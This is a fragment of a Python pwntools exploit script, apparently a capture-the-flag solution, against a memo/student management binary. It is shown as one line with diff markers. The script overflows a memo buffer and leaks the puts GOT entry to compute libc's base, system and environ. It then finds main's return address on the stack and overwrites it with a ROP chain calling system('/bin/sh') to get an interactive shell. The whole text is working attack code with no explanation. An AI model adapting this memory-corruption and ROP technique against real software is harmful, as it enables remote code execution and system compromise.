io.sendlineafter("ID:", str(idx)) + +def show_memo(idx): + io.sendlineafter("Bye :)\n", '5') + io.sendlineafter("ID:", str(idx)) + +def overflow(): + add() # idx 0 + add() # idx 1 + write_memo(0, 'A'*0x20 + '\x78') + +def leak(): + global system_addr + global main_ret_addr + + write_name(0, p64(elf.got['puts'])) + show_name(1) + puts_addr = (u64(io.recvline()[:6] + '\x00'*2)) + + libc_base = puts_addr - libc.symbols['puts'] + system_addr = libc_base + libc.symbols['system'] + environ_addr = libc_base + libc.symbols['environ'] + + write_name(0, p64(environ_addr)) + show_name(1) + stack_addr = u64(io.recvline()[:6] + '\x00'*2) + main_ret_addr = stack_addr - 0xf0 + + log.info("libc base: 0x%x" % libc_base) + log.info("system address: 0x%x" % system_addr) + log.info("main return address: 0x%x" % main_ret_addr) + +def overwrite(): + write_name(0, p64(0x602028)) # student_num + write_name(1, '/bin/sh\x00') + write_name(0, p64(main_ret_addr)) + write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh') + +def pwn(): + add() # call longjmp to back to main + io.interactive() + +if __name__ == "__main__": + overflow() + leak() + overwrite() + pwn()